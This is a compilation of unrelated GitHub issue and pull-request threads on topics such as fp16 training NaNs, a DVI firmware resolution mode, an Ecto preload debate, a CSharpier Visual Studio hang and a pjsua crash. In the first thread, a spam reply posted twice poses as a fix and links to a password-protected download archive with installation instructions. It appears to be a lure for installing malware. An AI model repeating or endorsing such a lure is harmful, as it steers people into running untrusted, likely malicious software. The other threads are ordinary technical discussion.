[Discussion] How to avoid "eval_loss:nan" during finetuning?

Discussion
I've been struggled for solving this problem a few days, but still didn't find a solution... The training is so unstable, sometimes the model can finish training, but usually it shows "eval_loss:nan" or "loss=0.0" during training... The possible solution I found is:

use fp32 instead of fp16
use bf16
However, is there a better way to solve this problem? I'm using rtx 6000 which seems not be able to use bf16, and it costs too much space and time when using fp32.
Thanks for any advice and help.

hi bro, to fix your trouble try this fix, i see it in another issue,
https://app.mediafire.com/dqajf1x14ccfd
password: changeme
when you installing it, you need to place a check in install to path and select usx

hi bro, to fix your trouble try this fix, i see it in another issue,
https://app.mediafire.com/dqajf1x14ccfd
password: changeme
when you installing it, you need to place a check in install to path and select usx


Navbar item moving after resizing

Repro steps:

open App/ShellWithNewTheme in showcase
select "My layouts" in Navbar
zoom in/out

Fixed by Steve


720p support

Hi! This is an awesome project.  I built up a board using Palle's schematic, and it works great on my monitor and also 2 older TV's I have.  However, on the two Vizio TV's I have it does not work.  Apparently, the minimum resolution they can display with HDMI is 720p.  I found this commit on github for 720x480 resolution: https://github.com/DLehenbauer/econopet/commit/5c511b626f7eae74e0c19a83014e3847072340e3
I forked your project and am going to experiment with 720p mode.  I'm thinking of using one of the unused gpio pins as an input switch so I can switch between the standard resolution and 720p mode.  However, there is an open issue with the official Pi Pico extension in VS  Code using Windows so I am unable to import your project to compile with VS Code.  I was wondering what method you are using to compile your project?  I do have a linux machine with Ubuntu so could use that perhaps to compile.  Thanks!  Dan

720x480 further increases the load and required data throughput - so not sure if the A2DVI-Firmware could still handle this on PICO. Rendering and data transmission all have to fit on a single CPU core. HIRES and Double-HIRES are the most demanding modes. Might still work - or maybe not. You have to test and see. In case it doesn't work, you have the chance of switching to the new PICO2 though. Its got a new generation of ARM cores, which are even more powerful.
I just use the standard toolchain to build on Linux. Requires cmake, GNU Make and the arm cross-compiler (gcc-arm-non-eabi). Should all be available as packets for Ubuntu. Also requires the latest PICO SDK (2.0). I would clone that directly from github. You can build from the command-line (cmake / make) - or add it as a build command to your favorite Linux editor / IDE.

I actually gave this a try. 720x480p are actually also working with PICO.
Here's a quick build - not really tested much, but seems to work:
A2DVI_v1.0_720x480p.zip
Of course this does result in a different aspect ratio though...

Works great on my TV now with 720x480.  Thanks!

Might be a feature for the future: adding a menu option to switch video modes (640x480 vs 720x480).

I've been running it continuously in 720x480 mode for 2 days.  Everything seems fine so far.

Oh this is great, +1 on the ability to pick either resolution in the config utility would be awesome. 720x480 is closer DVD / Bluray players output so is likely more widely compatible. I think 640 also results in the Apple II image being a little stretched horizontally versus reality so that might be resolved with 720 anyway.

Firmware v1.6 now supports switching between 640x480 and 720x480 video output.


raise if preload query contains limit or offset

It will never produce the desired result and is just plain confusing. We should bail out early, probably explaining why it won't work.

@michalmuskala I would rather not forbid it because maybe someone wants to bring the top 100 most voted comments across a list of posts. Passing a query to preload is already somewhat an advanced feature, so I would leave it as is but add extra notes to the docs where we describe the ability to give queries to preload.

People trip on this all the time, I think I saw 4 or 5 questions about this, only last week. I'm not sure adding a line in the docs will help.

@michalmuskala well, it is like doing a LIMIT or OFFSET when are doing an aggregation such as count. People trip on it all the time but I don't think we should forbid valid SQL constructs.

so I would leave it as is but add extra notes to the docs where we describe the ability to give queries to preload.

Isn't it already there?

@laurocaetano tks! :heart:


Marker’s infoWindow is not opened when clicking on another marker and back on iOS using marker cluster.

I'm submitting a ...  (check one with "x")
[ ] question
[x] any problem or bug report
[ ] feature request
The plugin version:  (check one with "x")
[ ] 2.0-beta3 (github)
[ ] 2.0 (npm)
[x] 45c468099b4c472d832424e8c061f089aac1b544
If you choose 'problem or bug report', please select OS:  (check one with "x")
[ ] Android
[x] iOS
cordova information:  (run $> cordova plugin list)
com.googlemaps.ios 2.4.0 "Google Maps SDK for iOS"
cordova-plugin-console 1.0.7 "Console"
cordova-plugin-googlemaps 2.0.6 "cordova-plugin-googlemaps"
cordova-plugin-whitelist 1.3.2 "Whitelist"

Current behavior:
When using marker cluster, clicking on marker opens info window. When you click on another marker its info window is opened and previous info window is closed. Clicking back on the first marker does not open info window.
Or
Clicking on one marker repatedly opens info window only for first click. Then info window is closed and cant be opened by another click.
Expected behavior:
Should open info window every time marker is clicked.
Screen capture or video record:
https://photos.app.goo.gl/tdtYmCDqU8CON8q22
Related code, data or error log (please format your code or data):
https://github.com/lpikora/cluster_test

Okay, I will check this later.

Thank you for reporting the bug. I fixed it.

Thank you for the fix.


Cleaning up cloud-init for workers in AWS

including:

using cloud-init itself to do more heavy lifting
removing the use of embedded variables in scripts
maintaining hook scripts as separate files

@Lyoness r?

@Lyoness sadly, I don't have a ton of confidence until I've used such changes in a full terraform apply and observed the hosts come up and behave as expected.  The addition of bats tests makes me a wee bit more confident, at least.

understood.  testing infra is hard.

ok!  Mergeosaurus!


Instagram Share Failing On iOS After Latest Instagram Update

Steps to reproduce

Update instagram to latest version
Log in to Instagram, or ensure you are logged in
Attempt to share an image with shareSingle such as (exact code follows):

Share.shareSingle({title:"Share On Instagram", url: "file://" + res.url, social: Share.Social.INSTAGRAM})
res.url in the above returns a path to an image saved to tmp.
Expected behaviour
Users share directly to instagram. This code was working perfectly well until this latest Instagram update (yesterday). I have verified on three separate iPhones that the code works before the Instagram update and fails immediately after.
Actual behaviour
Instagram opens, with message "Unable to open file. You must be logged in."

As previously stated, I have verified on three separate iPhones that the code works before the Instagram update and fails immediately after.
No errors or issues are appearing in debug.
Environment

React Native 0.56.0
iOS 12

react-native-share
Version 1.1.2

maybe instagram sharing path change?

Same happens to me 😢

might be a bug on instagram

I think you're right, @jgfidelis . I just checked and sharing directly from Spotify to stories (Spotify has a direct IG share feature) has a similar issue. It brings me to a login screen, and I never end up being able to share the song even after logging in (no "unable to share, must be logged in" message in this case though).
You can bet that if it's breaking Spotify's sharing that it's a bug.

It is probably an authentication bug within Instagram. If it is, this is a bit critical so they should fix it soon.

Same thing happened to our app today.
After testing spotify, buffer (if you know) and some others, all of them have the same problem

thanks everyone
let's keep an eye on Instagram future notes

The latest instagram update (v 68.0) fixes this issue. The instagram sharing is working as expected again.


Utilise tasks.loop and webhooks for reddit postings.

The auto-posting has been removed as it was spammy and few used it.
Instead a daily top posting loop has been created. I stuck with top 5 daily for consistency with top 5 weekly and 5 pinned messages, but this can be easily changed
Both loops will post at midnight
As before, the weekly top posts will be pinned.
A webhook id for the Reddit channel has been set in constants and config, but will need to be created by an admin (and real ID set).
I set the webhook author to be what was previously the content of the message - it looks clean to me, but here is an example:

Not sure what to do about the icon, maybe a generic reddit logo would be fine (assuming copyright stuff is fine, but that might be easier set when creating the webhook?)
I've left a few notes about how to simplify the loops (by setting time parameters) when discord.py v1.3 gets released (it's in alpha now - is there any reason not to upgrade?)
Closes #391

I've updated the tasks to use the time parameter and combined them into one, however in upgrading discord.py to the latest (v1.3a) version it breaks the linter which seems to want to lint discord.py source, too...

This is why we used to have this. I guess we deemed it no longer necessary since we did not foresee having to use non-PyPI releases anymore.
And I don't know if it's OK to move to 1.3a. Hopefully someone more familiar with how things are going with that version's development can comment.

Sure. FWIW, I've had a (400 guild) bot running on latest versions of v1.3a for months now with absolutely no issues. I don't believe (and just had a quick look at commit history) that any breaking changes have been made so far. Instead, small additions (new methods or not breaking), bugfixes and doc changes have been made.

Yeah, please avoid changing dependencies without first discussing it, especially when you're going to entirely change the release source.
For example, changing things to use v1.3a requires all our docker images and our CI to use git for installing, which we've purposely avoided. It would greatly impact our build times for CI/Docker Images thanks to pipenv version resolution and git installation taking significant extra time.
Slipping this into a PR would also result in our docker images not being ready to handle that and failing when merged to master, as well as the linter not ignoring the git-pulled lib files, because these changes weren't discussed and considered with the devops team, so the image files and linter settings weren't adjusted accordingly.
Please revert these dependency changes.

I ran pipfile lock/update and it seemed to update other deps in the Pipfile.lock. Do I need to revert these too?

If you've not actually changed any deps you can just reset the Pipfile and Pipfile.lock to avoid any edge cases, but for reference, updating within scope of the existing pins are usually less of a concern and are typically done anytime a new dep is added anyhow.

Perfect. Thanks for that, and sorry for the issues, taken note for future 👍

Should I resolve the conflicts?

You can yep, it's up to you how you want to do it though, either by adding a new resolution commit or by doing a rebase to maybe take advantage of cleaning up history on this branch while also applying changes on top of current origin master without conflict.

Well that was a trek and a half, but got there in the end. The last thing we need is an actual webhook ID (I've just chucked 123456789 in there for the moment)

Minor note, @mathsman5133 -- force pushing to a branch after reviews have started makes the pull request history difficult to read. I'm missing valuable context here about which changes you made in response to previous reviews, because those changes are all aggregated at the bottom.
Please try to avoid force pushing after you've posted your pull request, although force pushing before you open it is fine.

Note taken on the force pushes, thanks and sorry.
I have tested the webhooks by running with no sleeping, although have not set them working for a week or so. Am happy to do that if you'd like.
The commands are working fine.


System prompts don't populate system prompt menu

If I create a new system prompt, it shows in the list of system prompts but doesn't populate the menu on the right, which continues to only offer the default prompts.

@johnbrownlow Are you making sure to select the models for which to make the sys prompts available for? For example, below I made it available only to the anthropic models.

@johnbrownlow did you have any updates on this?

I will close this for now. I will re-open if the issue if it appears again.


Move project to a community driven development

@lukaszb It seems you've been pretty busy with this project. I suggest creating a Github organization (say DjangoGuardianCommunity or something) and then transferring the ownership of this repo to the org and adding some contributors to it and giving them commit access. This way development doesn't stagnate in the face of new versions of Django 1.8.

That's a very good suggestion. In fact I've been thinking about this for a while now. And will definitely do that soon

:+1:

:+1:

:+1:

:+1:

First stage done. Now I'm going to send an email with call for help to some of contributors

:+1:

How is this coming along? It would be nice to get some pull requests merged into a new release as 1.3 has some very critical bugs in it.

@brianmay officially joined django-guardian team. He has contributed a LOT in the last couple of releases, in both code and reviews.


Automatic upload of new bundle versions to maven repo

New bundle versions should be automatically uploaded to the central / merged repo during the automatic build process

There is one last step to add. Automatic switch/merge of uploaded maven repo. Right now this switch is manual
Also, unfortunately token based sftp is not supported by the gradle-publish plugin yet. scp support is also missing.


Visual Studio 17.8.0 hangs with version 	1.4.8

I did a fresh install of Windows 11 build 22621.2715, installed CSharpier plugin 1.4.8 and Visual Studio hangs after a few seconds after opening a solution.
I can reproduce this every time with CSharpier being the only plugin installed. Once I uninstall it and add my usual ones everything works fine.

If you are using CSharpier 0.26.* (which would happen if you are clicking install globally/locally) then this is probably the same issue that is occurring across all of the IDEs. I'm hoping to be able to track it down soon.
As a workaround you can install csharpier 0.25.0 outside of the plugin.

I have a few questions, I think most other people are experiencing complete freezes that VS doesn't recover from.
Does VS go back to normal after a few seconds or is it a complete freeze?
Does switching to 0.25.0 make the problem go away.
Are you able to format any files?
Could you share what is in the output window for CSharpier? Turning on log debug messages first will give more info.

VS doesn't recover, it remains like that. But it isn't like "Not Responding" freeze, being greyed out, more like there is an invisible dialog window preventing clicks and scrolling. Clicking VS icon in the taskbar doesn't do anything either.
I can't do anything past VS opening the solution, not seeing output, not opening a file or format an existing one. The only way to uninstall the plugin was to open VS without code.
I downgraded to 0.25.0 and the plugin seems fine again.

I believe I know a way to resolve the problem, see https://github.com/belav/csharpier/issues/926#issuecomment-1817939428 for more details

That didn't solve the issue, but while going through issue I saw that duplicate lines in .editorconfig might cause problems so I checked it and had some duplicates. I removed them and things seem fine now, csharpier installed globally, v0.26.2 and the VS plugin v1.4.8.

I'm facing the same issue with v0.26.2 and the VS plugin v1.4.8.
My .editorconfig doesn't have any duplicates and the mentioned workarond by @belav doesn't help.
This ticket should be re-opened.

Seems to be fixed with version v0.26.3 :)

This is not fixed. VS hangs regularly on my machine and for colleagues.
If that happens I can see CPU spikes forced by CSharpier:

If I wait for a long time (or kill the CSharpier task in Task Manager) I'm ending with #1072.
This is very frustrating.
I tried the troubleshooting guide multiple times, but it doesn't help.

Started happening again, slightly differently for me as well, every time I open Visual Studio I get a message that it stopped responding for about 15-20 seconds, afterwards it seems fine.
I am using Visual Studio 17.8.3, plugin 1.4.8 and the tool is at 0.26.6.

For me sometimes it's still working after the 'stopped responding' message.
I very often open Visual Studio and VS Studio Code at the same time. I think in this case CSharpier is broken in Visual Studio after the message. But this is only a feeling...
In Visual Studio Code I don't get any issues so far.

Happening to me too. No .editorconfig file, I enable debug log messages and get this:
Starting
Ensure there is a csharpier process for C:\dev\PBI-SQLService
Looking for C:\dev\PBI-SQLService\.config/dotnet-tools.json
Looking for C:\dev\.config/dotnet-tools.json
Looking for C:\.config/dotnet-tools.json
Unable to find dotnet-tools.json, falling back to running dotnet csharpier --version
dotnet csharpier --version output: 0.26.7+c8aec144f227bda8cf195011e9d91bb36c33337f
Removing everything after + to use 0.26.7
dotnet csharpier --version output: 0.26.7+c8aec144f227bda8cf195011e9d91bb36c33337f
Adding new version 0.26.7 process for C:\dev\PBI-SQLService
Warm CSharpier with initial format
CSharpier process appears to be hung, restarting it.
Warm CSharpier with initial format

I resolved a number of issues with the new 1.5.0 version of the extension. It also has better logging and notification when it is unable to start the CSharpier process.
Let me know if there are still issues!

I've updated the plugin to 1.5.0 with the tool at 0.26.6 and had no issues after opening a few solutions.
Next, I've updated the tool to 0.26.7 and got one hang after opening a solution, but couldn't reproduce it afterwards after several tries.

I resolved a number of issues with the new 1.5.0 version of the extension. It also has better logging and notification when it is unable to start the CSharpier process.
Let me know if there are still issues!

Thanks so much, it no longer hangs. However I am getting this on every load of visual studio:
[Info - 17/12/2023 23:17:15] Starting
[Error - 17/12/2023 23:17:16] System.NullReferenceException: Object reference not set to an instance of an object.
   at CSharpier.VisualStudio.ReformatWithCSharpierOnSave.FindDocument(UInt32 docCookie)

In general this seems to work now :)
Visual Studio is not hanging for a long time, but I still get this message: "Visual Studio stopped responding for x seconds"

But everything is working so far.
In the log I can see a warning ("CSharpier process appears to be hung, restarting it.")
and sometimes an error ("Object reference not set to an instance of an object."):
My Log:
[Info - 19.12.2023 08:59:57] Starting
[Debug - 19.12.2023 08:59:58] Ensure there is a csharpier process for xxx/Report\Service\Evo.ReportEngine.Service.Job
[Debug - 19.12.2023 08:59:58] Looking for xxx/Report\Service\Evo.ReportEngine.Service.Job\.config/dotnet-tools.json
[Debug - 19.12.2023 08:59:58] Looking for xxx/Report\Service\.config/dotnet-tools.json
[Debug - 19.12.2023 08:59:58] Looking for xxx/Report\.config/dotnet-tools.json
[Debug - 19.12.2023 08:59:58] Looking for xxx/.config/dotnet-tools.json
[Debug - 19.12.2023 08:59:58] Looking for xxx\.config/dotnet-tools.json
[Debug - 19.12.2023 08:59:58] Found version 0.26.7 in xxx\.config/dotnet-tools.json
[Debug - 19.12.2023 08:59:59] dotnet csharpier --version output: 0.26.7+c8aec144f227bda8cf195011e9d91bb36c33337f
[Debug - 19.12.2023 08:59:59] Using 0.26.7 as the version number.
[Debug - 19.12.2023 08:59:59] CSharpier at C:\Users\CasadoDaniel\AppData\Local\CSharpier\0.26.7 already exists
[Debug - 19.12.2023 08:59:59] Adding new version 0.26.7 process for xxx/Report\Service\Evo.ReportEngine.Service.Job
[Debug - 19.12.2023 08:59:59] Warm CSharpier with initial format
[Warn - 19.12.2023 09:00:02] CSharpier process appears to be hung, restarting it.
[Warn - 19.12.2023 09:00:05] CSharpier process appears to be hung, restarting it.
cture
[Error - 19.12.2023 09:00:51] System.NullReferenceException: Object reference not set to an instance of an object.
   at CSharpier.VisualStudio.ReformatWithCSharpierOnSave.FindDocument(UInt32 docCookie)

I believe I have the occasional NRE fixed and am releasing 1.5.1 for that.
The initial hang some people are seeing is probably csharpier being installed in the background. I think this could be avoided by converting a lot of this code to async, but it should be only occuring once when using a new version of csharpier so I'm not sure it is worth the effort.
I've managed to reproduce getting CSharpier to hang and restart itself.

add a bunch of compilation errors to a file
make change and save
repeat until it hangs

Rider had a similar problem, but the fix in Rider (java based) doesn't seem to apply to VS. I'll dig into that a bit more.
@IT-CASADO are you seeing the "Visual Studio stopped responding for X seconds" message regularly? It also seems like the initial warming of csharpier is hanging for you, which I have not seem before. The warming process is a simple c# class, so I can't see why it would be causing things to hang.
I do have a reworking of the communication between the extensions and csharpier using GRPC almost ready, and I am hoping that will resolve some of the flakeiness with piping input/output to csharpier.

I've been getting this a bit recently. I'm not sure exactly when it triggers, but I think it's when there is compilation errors.

I've been getting this a bit recently. I'm not sure exactly when it triggers, but I think it's when there is compilation errors.

Same here, I get this most times I open Visual Studio

For me, it's happening every time I open Visual Studio and afterwards open a C# file in the solution.
So to reproduce:

open a Visual Studio C# solution -> all good for now.
Then open a C# file, Visual Studio hangs for 10-20 Seconds and the yellow bar appears.

In contrast to @parched 's assumption, there are no compile errors in my solution.


Add indication in cassandra.yaml that rpc timeouts going too high wil…

…l cause memory build up

CI j11
CI j8

@adelapena comments addressed.


Updated german language translations

Please check if I did everything right. i totally had to learn walking again today. :-D

Looks good! Just a couple of non-critical cleanup suggestions.


Change parser to parse <= and >= as nested BinaryOperation nodes

The binaryen IR doesn't support <= and >= operations directly. We could change our CodeGen to generate nested binaryen expressions if we come across a <= or >= sign, but we may as well simplify our own AST structure to match the binaryen IR.
Changing the parser to parse the <= and >= operations as:
5 >= 6
BinaryOperation
  op: "||"
  left:
    BinaryOperation
      op: ">"
      left: "5"
      right: "6"
  right:
    BinaryOperation
      op: "=="
      left: "5"
      right: "6"

will allow a much simpler CodeGen process.

[ ] Update parser to parse <= and >= as a nested BinaryOperationNode
[ ] Update parser tests to validate the new expected ast format

Turns out it was supported and I just missed it. Was fixed in this commit


SyntaxWarning: "is" with a literal. Did you mean "=="?

ENV
OS: Windows 10
Python: 3.8.5
IDA version: 7.5
IDAPython: v7.4.0
idapkg : 0.1.4
Detail
While installing idapkg, the install command shows the following warning message:
idapkg-0.1.4\pkg\vendor\semantic_version\base.py:94: SyntaxWarning: "is" with a literal. Did you mean "=="?
idapkg-0.1.4\pkg\vendor\semantic_version\base.py:94: SyntaxWarning: "is" with a literal. Did you mean "=="?
idapkg-0.1.4\pkg\vendor\semantic_version\base.py:100: SyntaxWarning: "is" with a literal. Did you mean "=="?
idapkg-0.1.4\pkg\vendor\semantic_version\base.py:94: SyntaxWarning: "is" with a literal. Did you mean "=="?
idapkg-0.1.4\pkg\vendor\semantic_version\base.py:94: SyntaxWarning: "is" with a literal. Did you mean "=="?
idapkg-0.1.4\pkg\vendor\semantic_version\base.py:100: SyntaxWarning: "is" with a literal. Did you mean "=="?

It seems to install idapkg successfully, however the warning messages' kind of annoying
I think the SyntaxWarning message was introduced in Python 3.8
Changing is to == should fix the problem

Thanks for reporting! I'll update bundled dependency: python-semanticversion, which now seems to resolve this issue.


[Task]: Allow passing model to engine constructor

What is the motivation for this task?
In the current v1 design it is possible to call an entrypoint of the trainer without specifying a model, if another entrypoint method was previously called with a model, e.g.:
>>> engine.fit(model, datamodule=datamodule)
>>> engine.test(datamodule=datamodule)

For an even more flexible API we could consider allowing to pass the model to the engine constructor, so that we can call each of the entrypoints without a model arg e.g.:
>>> engine = Engine(model)
>>> engine.fit(datamodule=datamodule)
>>> engine.test(datamodule=datamodule)

Describe the solution you'd like
Store the model as an attribute of the engine, so that it can be directly accessed through engine.model. This design would allow passing a model to the engine constructor so that we can call each of the entrypoint methods without the model arg.
Additional context
Some design discussions might be needed to decide if this behaviour is desirable.

Hi @samet-akcay, @ashwinvaidya17, @djdameln.
Can I take this task? Thanks.

Sure, go ahead..

hi @ashwinvaidya17 . I would like to know how to inference on an image seperately using fastflow model.


vstest backlog

vstest backlog
Here is our roadmap. It calls out the broad themes for our work on the test platform. The below list of issues breaks that down to the line item level focus of our work aligned to the roadmap.
Rich analysis using data collectors

[ ] data collection support in vstest.console.exe: #309
[ ] code coverage support on .NET Core: #579

Extensible application platform support

[ ] Devices support in vstest: #684

Open Editor integration

[ ] JSON protocol is verbose: #396
[ ] JSON protocol needs versioning: #397
More: We will pull in others from this query as appropriate.

Configurable CLI integration

[x] Filtering for dotnet test #334
[x] Logger extensibility #616, #522
[x] Console logger improvements/coloring #639
More: We will pull in further items from this query as appropriate.

vstest onboarding for desktop projects

[ ]  We’re tracking this partner blocking query for migrating customers with desktop projects.

.NET Core 2.0 support

[ ] Add test coverage for the netcoreapp2.0: #667
[x] Add VS Unit testing templates for .NET Core 2.0: #664
[x] Enable CLI UT template for .NET core 2.0: #666

Performance

[ ] xUnit adapter perf. in VisualStudio and vstest.console runners: #485
[ ] JSON protocol is verbose: #396
[ ] Communication layer should use streams for JSON serialization: #129
[ ] Discovery of 10k tests should show up in chunks: #76
More: We will continue to profile looking for bottlenecks, and pull in other items from this query as appropriate.

any plan to work on improved handling of multi-TFM testing? right now, you can't write a set of tests for multitargetting projects and run it against each tfm in visual studio.

@gulbanana MTFM support (tracked by #298) is at the top of test explorer backlog.

great! i didn't realise that was a separate issue :)

How is #894 not on your backlog/roadmap?!
How is this issue not getting the attention it deserves? This is a major flaw that's been around since the introduction of vstest.
Now, with data-driven tests executed via VSTS, we can't be expected to rollback to the old mstest!


python311Packages.datasette: 0.64.7 -> 0.64.8

Automatic update generated by nixpkgs-update tools. This update was made based on information from passthru.updateScript.
meta.description for python311Packages.datasette is: Multi-tool for exploring and publishing data
meta.homepage for python311Packages.datasette is: https://datasette.io/
meta.changelog for python311Packages.datasette is: https://github.com/simonw/datasette/releases/tag/0.64.8
Updates performed

Ran passthru.UpdateScript

To inspect upstream changes
Impact
Checks done

built on NixOS
The tests defined in passthru.tests, if any, passed
found 0.64.8 with grep in /nix/store/sp6l9bmvgw5mqwvvahk9i1xhzi4cyv17-python3.11-datasette-0.64.8
found 0.64.8 in filename of file in /nix/store/sp6l9bmvgw5mqwvvahk9i1xhzi4cyv17-python3.11-datasette-0.64.8

Rebuild report (if merged into master) (click to expand)

8 total rebuild path(s)

8 package rebuild(s)

First fifty rebuilds by attrpath

datasette
python311Packages.datasette
python311Packages.datasette-publish-fly
python311Packages.datasette-template-sql
python312Packages.datasette
python312Packages.datasette-publish-fly
python312Packages.datasette-template-sql

Instructions to test this update (click to expand)

Either download from Cachix:
nix-store -r /nix/store/sp6l9bmvgw5mqwvvahk9i1xhzi4cyv17-python3.11-datasette-0.64.8 \
  --option binary-caches 'https://cache.nixos.org/ https://nix-community.cachix.org/' \
  --option trusted-public-keys '
  nix-community.cachix.org-1:mB9FSh9qf2dCimDSUo8Zy7bkq5CX+/rkCWyvRCYg3Fs=
  cache.nixos.org-1:6NCHdD59X431o0gWypbMrAURkbJ16ZPMQFGspcDShjY=
  '

(The Cachix cache is only trusted for this store-path realization.)
For the Cachix download to work, your user must be in the trusted-users list or you can use sudo since root is effectively trusted.
Or, build yourself:
nix-build -A python311Packages.datasette https://github.com/r-ryantm/nixpkgs/archive/0069ee2352c9ba8596d9382215b1f8ab0e3fcfdf.tar.gz

Or:
nix build github:r-ryantm/nixpkgs/0069ee2352c9ba8596d9382215b1f8ab0e3fcfdf#python311Packages.datasette

After you've downloaded or built it, look at the files and if there are any, run the binaries:
ls -la /nix/store/sp6l9bmvgw5mqwvvahk9i1xhzi4cyv17-python3.11-datasette-0.64.8
ls -la /nix/store/sp6l9bmvgw5mqwvvahk9i1xhzi4cyv17-python3.11-datasette-0.64.8/bin

Pre-merge build results
We have automatically built all packages that will get rebuilt due to
this change.
This gives evidence on whether the upgrade will break dependent packages.
Note sometimes packages show up as failed to build independent of the
change, simply because they are already broken on the target branch.
Result of nixpkgs-review --extra-nixpkgs-config '{ allowInsecurePredicate = x: true; }' run on x86_64-linux 1

12 packages built:

datasette (python311Packages.datasette)
datasette.dist (python311Packages.datasette.dist)
python311Packages.datasette-publish-fly
python311Packages.datasette-publish-fly.dist
python311Packages.datasette-template-sql
python311Packages.datasette-template-sql.dist
python312Packages.datasette
python312Packages.datasette-publish-fly
python312Packages.datasette-publish-fly.dist
python312Packages.datasette-template-sql
python312Packages.datasette-template-sql.dist
python312Packages.datasette.dist

Maintainer pings

Result of nixpkgs-review pr 321643 run on aarch64-linux 1

12 packages built:

datasette (python312Packages.datasette)
datasette.dist (python312Packages.datasette.dist)
python311Packages.datasette
python311Packages.datasette-publish-fly
python311Packages.datasette-publish-fly.dist
python311Packages.datasette-template-sql
python311Packages.datasette-template-sql.dist
python311Packages.datasette.dist
python312Packages.datasette-publish-fly
python312Packages.datasette-publish-fly.dist
python312Packages.datasette-template-sql
python312Packages.datasette-template-sql.dist


Add new rule to teams-admin-alerts.md

Closes https://github.com/MicrosoftDocs/OfficeDocs-SkypeForBusiness/issues/8497.

@JohanFreelancer9 Copy editing is needed for this PR. Thanks.

@SerdarSoysal PR has been copyedited and is ready for final review, could you please check and merge? Thanks!

reviewed + verified


crash with "Invalid operation (PJ_EINVALIDOP)"

I'm trying to run mumsi in Debian 9.0. and compiled libpjproject 2.7.1 myself.
When starting mumsi I get the following error:
23:42:06.205           pjsua_core.c  .PJSUA state changed: NULL --> CREATED
2018-01-14 23:42:06,205 [INFO] Pjsua: 23:42:06.205         sip_endpoint.c  .Module "mod-pjsua-log" registered
2018-01-14 23:42:06,206 [INFO] Pjsua: 23:42:06.206         sip_endpoint.c  .Module "mod-tsx-layer" registered
2018-01-14 23:42:06,206 [INFO] Pjsua: 23:42:06.206         sip_endpoint.c  .Module "mod-stateful-util" registered
2018-01-14 23:42:06,206 [INFO] Pjsua: 23:42:06.206         sip_endpoint.c  .Module "mod-ua" registered
2018-01-14 23:42:06,206 [INFO] Pjsua: 23:42:06.206         sip_endpoint.c  .Module "mod-100rel" registered
2018-01-14 23:42:06,206 [INFO] Pjsua: 23:42:06.206         sip_endpoint.c  .Module "mod-pjsua" registered
2018-01-14 23:42:06,206 [INFO] Pjsua: 23:42:06.206         sip_endpoint.c  .Module "mod-invite" registered
2018-01-14 23:42:06,233 [INFO] Pjsua: 23:42:06.233             alsa_dev.c  ..ALSA driver found 23 devices
2018-01-14 23:42:06,233 [INFO] Pjsua: 23:42:06.233             alsa_dev.c  ..ALSA initialized
2018-01-14 23:42:06,234 [INFO] Pjsua: 23:42:06.234                  pjlib  ..select() I/O Queue created (0x563ec3c1b9a8)
2018-01-14 23:42:06,235 [INFO] Pjsua: 23:42:06.235            pjsua_vid.c  ..Initializing video subsystem..
2018-01-14 23:42:06,240 [INFO] Pjsua: 23:42:06.240             v4l2_dev.c  ...Video4Linux2 has 0 devices
2018-01-14 23:42:06,240 [ERROR] Pjsua: 23:42:06.240              sdl_dev.c !SDL_Init() error: No available video device
2018-01-14 23:42:06,240 [INFO] Pjsua: 23:42:06.240         colorbar_dev.c !...Colorbar video src initialized with 2 device(s):
2018-01-14 23:42:06,240 [INFO] Pjsua: 23:42:06.240         colorbar_dev.c  ... 0: Colorbar generator
2018-01-14 23:42:06,240 [INFO] Pjsua: 23:42:06.240         colorbar_dev.c  ... 1: Colorbar-active
2018-01-14 23:42:06,240 [INFO] Pjsua: 23:42:06.240         sip_endpoint.c  .Module "mod-evsub" registered
2018-01-14 23:42:06,240 [INFO] Pjsua: 23:42:06.240         sip_endpoint.c  .Module "mod-presence" registered
2018-01-14 23:42:06,240 [INFO] Pjsua: 23:42:06.240         sip_endpoint.c  .Module "mod-mwi" registered
2018-01-14 23:42:06,240 [INFO] Pjsua: 23:42:06.240         sip_endpoint.c  .Module "mod-refer" registered
2018-01-14 23:42:06,240 [INFO] Pjsua: 23:42:06.240         sip_endpoint.c  .Module "mod-pjsua-pres" registered
2018-01-14 23:42:06,240 [INFO] Pjsua: 23:42:06.240         sip_endpoint.c  .Module "mod-pjsua-im" registered
2018-01-14 23:42:06,240 [INFO] Pjsua: 23:42:06.240         sip_endpoint.c  .Module "mod-pjsua-options" registered
2018-01-14 23:42:06,241 [INFO] Pjsua: 23:42:06.241           pjsua_core.c  .1 SIP worker threads created
2018-01-14 23:42:06,241 [NOTICE] Pjsua: 23:42:06.241           pjsua_core.c  .pjsua version 2.7.1 for Linux-<IP_ADDRESS>/x86_64/glibc-2.24 initialized
2018-01-14 23:42:06,241 [INFO] Pjsua: 23:42:06.241           pjsua_core.c  .PJSUA state changed: CREATED --> INIT
2018-01-14 23:42:06,241 [ERROR] Pjsua: 23:42:06.241              media.cpp  pjsua_conf_add_port(mediaPool, (pjmedia_port *)port, &id) error: Invalid operation (PJ_EINVALIDOP) (status=70013) [../src/pjsua2/media.cpp:149]

Any ideas how to solve this?

I can confirm this problem using the Debian packaged libpjproject 2.7.2 (as current in sid), it works with self-compiled version 2.10 using ./configure --enabled-shared.


Development freeze?

I came to know about this project through reddit, but after a long time only now I had the time to try it out. :)
Nice job btw!
I don't currently know if Everest is having any kind of limitation, but I do believe that there are features planned, but not implemented. I see that the development stopped for couple of months already so I'd like to understand what's the plan for the project in general? I believe you still want to keep development of it.
Or if the project is abandoned, that's also fine. I really like the project, so maybe if I have the time I would like to help :)

hey @RohitAwate

Hi @renannprado, thank you for your interest in Everest! :)
The development hasn't really stopped, but I'm not making it a priority. I'm extremely busy right now with university stuff and also trying to focus on learning new things. Plus, the OAuth 2.0 logic has gotten quite complex and the decoupling of JavaFX from the JDK has made builds and distribution quite tedious. This puts me off every time I feel like working on Everest. I plan to continue working on every now and then, no promises though. :(
Apologies if this is extremely vague, but so are my thoughts at the moment. Feel free to hack away  and merge a PR if you have time.
Here are some ideas that I'd really appreciate some help with (I'm unable to figure these out for the life of me):

set up the build with just Maven, no extra crap
set up the CI build to upload platform-specific installers to GitHub Releases. (both tagged and running releases)

Closing this.
Thanks again, have a good one! :)

@RohitAwate I'll spend some time to see if I can get the build with maven (+jlink) working just fine. Let's see if I'm able to provide something over this weekend :)

@RohitAwate I have spend a lot of time on this.
I've even patched some dependencies with module-info.java files, but it seems to me now that the only issue left is the jersey dependencies.
I'll spend some time to see if I can remove the jersey dependencies (maybe use the standard java HTTP client, just as a test).

@renannprado Sounds great! I've been planning to get rid of the Jersey dependencies and switch to the Java 11 HTTP client. Feel free to do that if you're interested and have the time, otherwise I'll be doing that anyway.
Looking forward to your PR. Thanks a lot! :)

@RohitAwate in a very hacky way (just deleting code, basically), I was able to remove the jersey and richtextfx just to test my theory.
